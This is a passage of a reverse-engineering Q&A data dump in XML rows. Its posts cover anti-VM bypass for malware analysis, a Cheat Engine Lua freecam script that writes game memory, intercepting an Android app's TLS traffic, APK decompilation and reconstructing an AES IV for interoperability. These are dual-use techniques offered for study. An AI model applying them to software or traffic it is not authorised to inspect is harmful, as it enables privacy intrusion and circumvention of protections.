zero&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-06T22:58:59.790" LastActivityDate="2018-05-06T22:58:59.790" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18195" PostTypeId="1" CreationDate="2018-05-07T00:34:01.743" Score="1" ViewCount="871" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1686/how-to-detect-a-virtualized-environment&quot;&gt;This&lt;/a&gt;  is a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know:&#xA;Sandboxes and virtual environments (hypervisors) are full of artifacts that betray their analysis environment. Malware can protect itself against these by running some checks to detect such environments before performing any malicious actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for ways for a malware analyst to bypass these protections to overcome this anti-VM (anti-hypervisor) stuff?&lt;/p&gt;&#xA;" OwnerUserId="20481" LastEditorUserId="245" LastEditDate="2018-07-12T07:45:40.193" LastActivityDate="2018-08-11T08:01:31.553" Title="bypassing anti-VM inside protected samples" Tags="|binary-analysis|malware|pe|unpacking|dynamic-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18196" PostTypeId="2" ParentId="18159" CreationDate="2018-05-07T00:42:41.360" Score="0" Body="&lt;p&gt;The numbers could be either stored in memory or they could be arithmetically calculated. The former case could occur when they are defined as global constants or when the code generates these values and writes them to memory some time during execution before doing the comparison with the input sequence. In addition, even though a single hexadecimal digit (I assume that by &quot;number&quot; you mean a single digit rather than some unlimited number of digits) requires only 4 bits to represent, there are really many different ways to represent the 10 hex digits. So a 4-byte register might be used to hold a single digit or multiple digits. As you can see, there are many possibilities. So directly looking for the numbers is not the fastest way to figure them out and you're likely to get blown up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the code must contain a sequence of instructions that basically somehow compare the input sequence with the actual numbers. Basically ten (or less) comparisons need to be performed. It's likely that on the first inequality, a jump will be performed to the code that &quot;blows up the bomb&quot;. Therefore, I think that you should start by examining all the &lt;code&gt;jne&lt;/code&gt; instructions (same in x86). Examine the code around, see if there is a loop structure or some kind of repetitive comparisons. It's also a good idea to look for &lt;code&gt;mrmovl&lt;/code&gt; around &lt;code&gt;jne&lt;/code&gt; in a loop, indicating that the numbers are being fetched from memory. If that lead you nowhere, then you can examine the code around &lt;code&gt;je&lt;/code&gt; or &lt;code&gt;jmp&lt;/code&gt;, which could also be used together to construct loops. Note that if you found a suspicious loop, but without &lt;code&gt;mrmovl&lt;/code&gt;, then the numbers might be arithmetically calculated in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, even if you were given 10s of thousands of assembly code, there will still be relatively very few &lt;code&gt;jne&lt;/code&gt; or &lt;code&gt;je&lt;/code&gt; instructions. Examining each of them should take few minutes only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now once you find a piece of code that seems to be comparing ten numbers against other 10 numbers, you can trace that back to the entry point of the program to make sure that it is the input sequence that is being compared against and that it is not some bogus piece of code or something else. This process can be made easier by building the control flow graph of the program using some tool. But your code is small enough so you can do it manually I guess.&lt;/p&gt;&#xA;" OwnerUserId="21377" LastActivityDate="2018-05-07T00:42:41.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18197" PostTypeId="2" ParentId="18144" CreationDate="2018-05-07T03:11:47.317" Score="1" Body="&lt;p&gt;After a lot of trial and error, and bits and pieces of the puzzle coming together from a lot of different sources and peoples' help, I'd like to answer my own questions to the extent I feel I'm able to. I hope this helps someone else down the road who runs into this issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 1&lt;/strong&gt;: What do sin/cos values tend to look like, and at what&#xA;  point through a camera/coord-related subroutine might I expect to see&#xA;  them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered&#xA;  that these should be close to where I'm dabbling either in memory or&#xA;  within a subroutine, but I'm just not quite sure what I'm looking for.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These values will be the sin and cos of the camera's pitch (vertical movement) and yaw (horizontal movement). They will likely reside somewhere in nearby memory of your camera's pitch/yaw addresses, or within registers while pitch/yaw are being calculated within a subroutine. A game can represent pitch and yaw in either degrees or radians.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples of pitch:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Range in degrees: -89 to 89 (Example of a clamped range, to avoid flipping)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Same range in radians: -1.55334 to 1.55334&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples of yaw:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Range in degrees: -180 to 180 (Equaling 360 degrees total)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Same range in radians: -3.14159 to 3.14159&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the game you're reversing has its values stored as degrees, depending on how you plan to calculate sin/cos, you may need to convert degrees to radians. Since Lua is what I used, its degrees-to-radians function is &lt;code&gt;math.rad()&lt;/code&gt;. So, math.rad(180) would give us a conversion from 180 degrees to 3.14159 radians.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this value, we can now utilize Lua's &lt;code&gt;math.cos()&lt;/code&gt; and &lt;code&gt;math.sin()&lt;/code&gt; functions. Suppose we are looking for the sin and cos of the camera's yaw while it's at 63 degrees. The values we would be looking for in memory, on the stack, or in registers are 0.4539 (cosine, or &lt;code&gt;math.cos(63)&lt;/code&gt;) and 0.891007 (sine, or &lt;code&gt;math.sin(63)&lt;/code&gt;), respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a formulaic perspective, here's how we could set variables to give us sin and cos of a camera's yaw in Lua, provided we know the address the value is stored in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--Read and store value from camera yaw memory address&#xA;local camYaw = readFloat(&quot;[cameraBase+1D0]&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--Convert yaw to radians, then calculate cosine&#xA;local camYawCos = math.cos(math.rad(camYaw))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--Convert yaw to radians, then calculate sine&#xA;local camYawSin = math.sin(math.rad(camYaw))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Remember, if the game you're reversing already has its values stored as radians, you don't have to worry about the step of converting degrees to radians!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The formulas above can help you figure out where certain values are residing by allowing you to calculate the values yourself, then simply look for them in memory, on the stack, or in registers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt;: Are there general approaches through reversing to identify&#xA;  the coordinate system of a game?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm still uncertain about this at the moment. You can figure it out by seeing how your calculations act once you've discovered XYZ Pitch/Yaw, but that's not quite the answer I'd like to know with this. I'll update this answer if/when I figure this out.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 3&lt;/strong&gt;: If I know the coordinate system used in the game, as well&#xA;  as the XYZ and Pitch/Yaw camera values, is there a formulaic way I can&#xA;  calculate sin/cos therewith to then use with a speed modifier to&#xA;  successfully implement a freecam? This, in the event that I cannot&#xA;  find sin/cos within the game to use within my script.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Question 4&lt;/strong&gt;: I only have a cursory understanding of the trig/calc I've&#xA;  looked up in trying to understand calculations as related to sin/cos.&#xA;  Given a left-hand and right-hand coordinate system with Z being up,&#xA;  along with XYZ, Pitch/Yaw data, and a speed modifier, could someone&#xA;  possibly walk me through the necessary calculations for making forward&#xA;  work in both coordinate systems no matter where the user points the&#xA;  mouse? For example, what exactly the sin/cos values are comprised of&#xA;  at any given time, how/why they matter, and why you would add/sub/mul&#xA;  to appropriately modify XYZ, etc?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm going to tie both of these together with the script I ended up creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, credit where credit is due. I used &lt;strong&gt;&lt;a href=&quot;https://fearlessrevolution.com/threads/assassins-creed-origins.5267/page-13#post-32442&quot; rel=&quot;nofollow noreferrer&quot;&gt;SunBeam's Assassin's Creed: Origins script&lt;/a&gt;&lt;/strong&gt; as an initial template. Also, I found examples from the fine individuals contributing to &lt;strong&gt;&lt;a href=&quot;https://forum.cheatengine.org/viewtopic.php?t=587133&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt;&lt;/strong&gt; to be very illuminating along the way--as well as the answer &lt;strong&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18178/20928&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; by GuidedHacking, and the answer by DMGregory where I initially &lt;strong&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/questions/158050/what-am-i-missing-for-this-flycam-to-work-correctly&quot;&gt;posted my inquiry&lt;/a&gt;&lt;/strong&gt;. Lastly, &lt;strong&gt;&lt;a href=&quot;https://weblogs.asp.net/fbouma/let-s-add-a-photo-mode-to-wolfenstein-ii-the-new-colossus-pc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this colossal work&lt;/a&gt;&lt;/strong&gt; by Frans Bouma on game camera reversing is a wonderful reference for anyone looking to broach this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in a left-hand coordinate system, all you should need to plug into this script is the camera's XYZ coordinates, as well as the camera's pitch and yaw. You can change the speed modifier to whatever you would like. I have keys bound to make the camera move faster and slower, and I've also implemented strafing, so you can move diagonally as you rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a Lua script, created to run in &lt;strong&gt;&lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt;&lt;/strong&gt;. The top of the script uses a Cheat Engine function to allocate memory to store the speed modifier value within. I've commented everything copiously, so you should find it relatively easy to convert this to your high-level language of choice if need be!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;globalalloc(speedModifier,8) --Allocate 8 bytes memory&#xA;speedModifier:&#xA;dd (float)2 --Store a float of 2&#xA;&#xA;{$lua} --Tells Cheat Engine to treat everything beneath as Lua&#xA;&#xA;[ENABLE] --Everything beneath this happens when this script is enabled&#xA;&#xA;function checkKeys(timer) --Check keys for input (check on a timer)&#xA;&#xA;--Speed modifier value, read from memory location we allocated earlier&#xA;local speed = readFloat(&quot;speedModifier&quot;)&#xA;&#xA;--Camera coordinates stored in variables&#xA;local camx = readFloat(&quot;[camBase]+1A0&quot;) -- Camera X&#xA;local camy = readFloat(&quot;[camBase]+1A8&quot;) -- Camera Y&#xA;local camz = readFloat(&quot;[camBase]+1A4&quot;) -- Camera Z&#xA;&#xA;--Mouse rotation in radians&#xA;--Use math.rad() to convert from degrees if necessary&#xA;local rotv = math.rad(readFloat(&quot;[camBase]+1D0&quot;)) -- Vertical (Pitch)&#xA;local roth = math.rad(readFloat(&quot;[camBase]+1D4&quot;)) -- Horizontal (Yaw)&#xA;&#xA;--Sine and Cosine of Rotation Values&#xA;local sinh = math.sin(roth) -- Sine of Horizontal (Yaw)&#xA;local cosh = math.cos(roth) -- Cosine of Horizontal (Yaw)&#xA;local sinv = math.sin(rotv) -- Sine of Vertical (Pitch)&#xA;local cosv = math.cos(rotv) -- Cosine of Vertical (Pitch)&#xA;&#xA;  --Hotkey Setup&#xA;  --[[&#xA;        Button Mappings:&#xA;&#xA;        Y - Forward&#xA;        G - Left&#xA;        H - Backward&#xA;        J - Right&#xA;        T - Down&#xA;        U - Up&#xA;        C - Speed Up&#xA;        Alt - Slow Down&#xA;&#xA;      --Key combinations for strafing are also defined&#xA;      --Keys are oriented to where mouse is pointing&#xA;  ]]&#xA;&#xA;  --Forward&#xA;  if isKeyPressed(VK_Y) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx + (cosh * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy + (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz + (sinh * speed))&#xA;  end&#xA;  --Left&#xA;  if isKeyPressed(VK_G) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx + (math.cos(roth - math.rad(90)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz + (math.sin(roth - math.rad(90)) * speed))&#xA;  end&#xA;  --Back&#xA;  if isKeyPressed(VK_H) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx - (cosh * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy - (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz - (sinh * speed))&#xA;  end&#xA;  --Right&#xA;  if isKeyPressed(VK_J) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx - (math.cos(roth - math.rad(90)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz - (math.sin(roth - math.rad(90)) * speed))&#xA;  end&#xA;  --Forward/Right&#xA;  if isKeyPressed(VK_Y) and isKeyPressed(VK_J) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx + (math.cos(roth + math.rad(45)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy + (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz + (math.sin(roth + math.rad(45)) * speed))&#xA;  end&#xA;  --Forward/Left&#xA;  if isKeyPressed(VK_Y) and isKeyPressed(VK_G) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx + (math.cos(roth - math.rad(45)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy + (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz + (math.sin(roth - math.rad(45)) * speed))&#xA;  end&#xA;  --Back/Left&#xA;  if isKeyPressed(VK_H) and isKeyPressed(VK_J) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx - (math.cos(roth - math.rad(45)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy - (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz - (math.sin(roth - math.rad(45)) * speed))&#xA;  end&#xA;  --Back/Right&#xA;  if isKeyPressed(VK_H) and isKeyPressed(VK_G) then&#xA;    writeFloat(&quot;[camBase]+1A0&quot;, camx - (math.cos(roth + math.rad(45)) * speed))&#xA;    writeFloat(&quot;[camBase]+1A8&quot;, camy - (sinv * speed))&#xA;    writeFloat(&quot;[camBase]+1A4&quot;, camz - (math.sin(roth + math.rad(45)) * speed))&#xA;  end&#xA;  --Up&#xA;  if isKeyPressed(VK_U) then&#xA;   writeFloat(&quot;[camBase]+1A8&quot;, camy + (speed * 0.5))&#xA;  end&#xA;  --Down&#xA;  if isKeyPressed(VK_T) then&#xA;   writeFloat(&quot;[camBase]+1A8&quot;, camy - (speed * 0.5))&#xA;  end&#xA;&#xA;  --Speed Modifiers&#xA;  if isKeyPressed(VK_C) then --If C is pressed, increase speed; max of 100&#xA;    if (speed &amp;lt; 100) then&#xA;      writeFloat(&quot;speedModifier&quot;, speed + 1)&#xA;    end&#xA;  elseif isKeyPressed(VK_MENU) then --If Alt is pressed, slow way down&#xA;    writeFloat(&quot;speedModifier&quot;, .3)&#xA;  else --If nothing is pressed, normal speed&#xA;    writeFloat(&quot;speedModifier&quot;, 2)&#xA;  end    &#xA;end&#xA;&#xA;t=createTimer(nil)&#xA;timer_setInterval(t, 10)&#xA;timer_onTimer(t, checkKeys)&#xA;timer_setEnabled(t, true)&#xA;&#xA;[DISABLE] --Everything beneath this happens when the script is disabled&#xA;&#xA;timer_setEnabled(t, false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-05-07T20:58:52.093" LastActivityDate="2018-05-07T20:58:52.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18199" PostTypeId="1" AcceptedAnswerId="18204" CreationDate="2018-05-07T07:54:15.110" Score="1" ViewCount="840" Body="&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my phone I have an app. When I login into the app and goto my profile there is an profile picture of me. I want to that picture because I need it. Simple way is just goto an local shop an take an picture but the cool way would be to get that image from the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the image from the app on my mobile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I think it could be done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use wireshark listen to the mobile traffic from the app and somehow try to get the image. Is this the right way or are there better ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Android 8.1.1&lt;/p&gt;&#xA;" OwnerUserId="24291" LastActivityDate="2018-05-09T06:42:16.730" Title="How to reverse engineer mobile app image?" Tags="|android|wireshark|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18201" PostTypeId="2" ParentId="18199" CreationDate="2018-05-07T13:30:00.437" Score="1" Body="&lt;p&gt;Wireshark will be ok, if the traffic is not encrypted. Otherwise you'll have to setup a proxy which will do sniffering of SSL traffic. Also the picture may be sent encoded in some application specific way, so you wouldn't be able to just save it as JPG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most thorough way is to decompile the application and find how exactly it gets the picture from the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your device is rooted you may try to search the /mnt/sdcard/Android/data/ for folder where the application stores its temporary data. Most likely your profile picture is cached. But it may be stored as BLOB in some database file. So, there are a lot of possibilities... &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-07T13:30:00.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18202" PostTypeId="2" ParentId="18180" CreationDate="2018-05-07T14:57:35.590" Score="0" Body="&lt;p&gt;I don't think there's any such feature in the IDA interface, nevertheless there's API in IDA SDK which allows you to create register variables: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group__regvar.html#ga5f77d2c231f8faeb5939be2bc8e2a298&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/group__regvar.html#ga5f77d2c231f8faeb5939be2bc8e2a298&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-07T14:57:35.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18203" PostTypeId="2" ParentId="18170" CreationDate="2018-05-07T15:19:03.373" Score="4" Body="&lt;p&gt;&lt;strong&gt;On desktop&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can try Antimony's answer.&lt;/p&gt;&#xA;&lt;p&gt;Also check &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12393/reverse-engineering-android-vendor-system-apps/12406#comment17489_12406&quot;&gt;this comment&lt;/a&gt;(which states using dex2jar on .dex file and JD-GUI on jar file):&lt;/p&gt;&#xA;&lt;p&gt;If you want to decompile an apk directly &lt;strong&gt;on your phone&lt;/strong&gt;, &lt;a href=&quot;http://26utm_medium%3Dorganic%26utm_term%3Dshow+java&quot; rel=&quot;nofollow noreferrer&quot;&gt;show java&lt;/a&gt; can be a good option. You can just select an apk file and wait. Then you can get rhe java source code of the app. Though it has much rooms for improvement, its handy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WHEN YOU ENCOUNTER JNI/NDK&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You have to decompile the &lt;code&gt;.so&lt;/code&gt; files inside the &lt;code&gt;lib&lt;/code&gt; folder. So you may have to decompile them, which are usually arm linux shared libraries.&lt;/p&gt;&#xA;&lt;p&gt;I am currently developing a helper app that helps you decompile native library targeted ARM and x86, and other CPU instructions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Releases&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/KYHSGeekCode/ARMDisasm/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android-Disassembler release.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or you can visit the &lt;a href=&quot;https://github.com/KYHSGeekCode/ARMDisasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;git repository&lt;/a&gt; (Android-Disassembler).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;However In general,&lt;/strong&gt;&#xA;Unfortunately, some developers prevent or make it hard to decompile the apk file, by changing class, methods and variables' names. So you may have some hard time as many reversing routines do.&lt;/p&gt;&#xA;&lt;p&gt;Hope my answer helped anyway.&lt;/p&gt;&#xA;" OwnerUserId="23870" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-10-17T09:43:19.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18204" PostTypeId="2" ParentId="18199" CreationDate="2018-05-07T19:39:35.657" Score="1" Body="&lt;p&gt;To get an image from an mobile app you first want to know if it is stored on your device or if it is loaded when you log in to your account. In my case it was an profile picture witch will be loaded when you login into your app. In that case you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first thing to do is Download and install &lt;a href=&quot;https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Packet Capture&lt;/a&gt;. This app can be used to sniff the network traffic of any app you want.&lt;/li&gt;&#xA;&lt;li&gt;Open the &lt;code&gt;Packet Capture&lt;/code&gt; app and click on the `GreenArrow/triangle, select the wanted app you want to listen to. (The first time you have to create a certificate, but this is very easy, just follow the instructions on the screen)&lt;/li&gt;&#xA;&lt;li&gt;If a red stop button appears on the top it means that packet capture is now listening to all the data that the app uses. &lt;/li&gt;&#xA;&lt;li&gt;Open the app you want to listen to and go to the page where the image will be loaded. Now you can stop &lt;code&gt;Packet Capture&lt;/code&gt; by clicking on the red stop button &lt;/li&gt;&#xA;&lt;li&gt;When you have stopped the listening you now see in a list a new row appearing with the total captures the app &lt;code&gt;Packet Capture&lt;/code&gt; has done. These are the network requests and responses that the app has done. Click on a row and all the captures will be shown. &lt;/li&gt;&#xA;&lt;li&gt;You have to search all the captures and check the json response and see if you see any link from the image page. When you have found the link, then copy and save it for later. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you have the image link it depends on the current situation what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The link can be to an HTML document with the foto. Then you can simply save the image.&lt;/li&gt;&#xA;&lt;li&gt;The link can be from an api witch returns some binary data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In my case it was an API call. Before I created a script to make that API call I wanted to check the source code of the app and see if there are any descriptions or decoding needs to be done. The following steps are not necessary, but if there is some encryption is encoding you can do the following.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the APK file from the app and save it to your phone, this can be done with &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.ext.ui&amp;amp;hl=nl&quot; rel=&quot;nofollow noreferrer&quot;&gt;this app&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the APK to the Java source code, this can be done with this &lt;a href=&quot;http://www.javadecompilers.com/apk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Site&lt;/a&gt;. Download the source code and install an editor for it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now you have the source code find the code where the image will be loaded from the API or just an HTTP call. And just find any clues on decryption decoding or autoriensation that the app uses. You have to figure this out because every situation can be diffrent. In my sittation the app did not had any autherisation for the API and the data returend whas not encrypted. I just searched for the code where the my profile picture was stored form there I searched to all refrences and found the place where the profile picture was loaded from an API call. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I know where I can get my image from I can create an C# program to get the bytes from the API and convert that to an image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create a request for the URL.   &#xA;WebRequest request = WebRequest.Create(&#xA;            &quot;weburl/to/the/api&quot;);&#xA;&#xA;// Get the response.  &#xA;WebResponse response = request.GetResponse();&#xA;&#xA;// Get the stream containing content returned by the server.  &#xA;Stream dataStream = response.GetResponseStream();&#xA;&#xA;var bitmap = Bitmap.FromStream(dataStream);&#xA;&#xA;response.Close();&#xA;&#xA;bitmap.Save(&quot;mypicture.png&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your device is rooted you may try to search the /mnt/sdcard/Android/data/ for folder where the application stores its temporary data. Most likely your profile picture is cached. But it may be stored as BLOB in some database file. Actualy you don't always need root access to access the cache of an app. Go to the folder: /mnt/sdcard/Android/data//Cache. If this folder is not located it can be that the app has made the cache invisible in this case you need to root you phone. &lt;/p&gt;&#xA;" OwnerUserId="24291" LastEditorUserId="24291" LastEditDate="2018-05-09T06:42:16.730" LastActivityDate="2018-05-09T06:42:16.730" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18206" PostTypeId="1" AcceptedAnswerId="18209" CreationDate="2018-05-07T23:46:42.680" Score="1" ViewCount="160" Body="&lt;p&gt;Background: I am currently looking to make some diagnostic software interoperable with other software, but all communication that occurs in this software is encrypted with AES-128-CBC.  A sample request is included below. The binary is also linked to at the bottom for those who wish to examine it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;api-version&quot;: &quot;1.0&quot;,&#xA;  &quot;mac-model&quot;: 69,&#xA;  &quot;action&quot;: 1,&#xA;  &quot;timestamp&quot;: 1517862344000,&#xA;  &quot;service-location&quot;: false,&#xA;  &quot;ksess&quot;: &quot;X+syUFRBrn9ytyg0qDaG/+W7wN6MiuHyJzNuLj/y/vbjpeDJoZjAP65xTWiSLrgJJMCgAyoKc8Ss3oUjq1gRYeTz8oEjjUmU2ym+f6pwoVsrVJ+EtQ/WDnhENjdAjE2vNOuiD1v/ncSk/gk1AUiZwK8tpPPEytSv0R9XlVtVpg8KlK1SF66Vl2hRjovko9uqIxs98iymZ42iWkff39DQoclbngKTbLItUeXUbzwBI6thXkNiTYDmdm3SZUJrK6TS7ZoOxH/4eEJXDprf9pImEg7r0PmE4pPXSXSmuLVPAwHjWp0riVIVw0DGgQ4cfABmCh/oFxxl/Q5rzkvsKQuKeg==&quot;,&#xA;  &quot;hmac&quot;: &quot;89FA90002E4FA47C83FAEF1AC378B51D5A1CD2DB&quot;,&#xA;  &quot;data&quot;: &quot;MtN0XjxexXRb9GNh3pSJNW0jxvLZm45alwSbJ40fVXowOnKQpaD7Yc3exBCvmw1z//a+iQtOdpBV/NdHe78hj8oxQJ+4iBDsM6tv6PEB2OeNFJnKuQ5R0azq527npjMAuPWvZszotJkB7FBiF3YjbK6QPCBDURybanqUCJrO3Yao6+Qfa4P41VFbZab0FhoJ&quot;,&#xA;  &quot;data2&quot;: &quot;xgffrf24+Poxd6iS+r7nC5KDD6s=&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have worked out how the AES key is generated, and have been able decrypt the encrypted data, except for the first block, which obviously uses the IV during encryption. The IV is generated based on the timestamp, I have included a picture of the disassembled function below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vt2x5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vt2x5.png&quot; alt=&quot;Screenshot of IV generation function disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, the function is basically doing this (Objective C):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double timestamp = 1517862344;&#xA;double t1 = timestamp * 1000.0;&#xA;uint64_t t2 = (uint64_t)timestamp;&#xA;NSData *data = [NSData dataWithBytes:&amp;amp;t2 length:16];&#xA;NSLog(@&quot;%@&quot;, data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the data logged is the hex string for the given integer. This is further backed up with the fact that if I decrypt the base64 encoded data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elUxn0rJeP3/6rnm9XnTmzJIok0VUOrE6lceAWZsLXiz1tX9i+KhfWcfdq12FW3gbfSpjNu+glVhBA+0rM5RnB4QzWp1CRrQKs1YQ/B/H4F8i7/BBhlUVD1bGNDJdW0Uf4E7RzyBVcFAaLv1pjY+XEMcx2ED6bdNvUZfC5LKI+Qk2bsQiheOLpAGLIhWUQ8E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the key (hex) 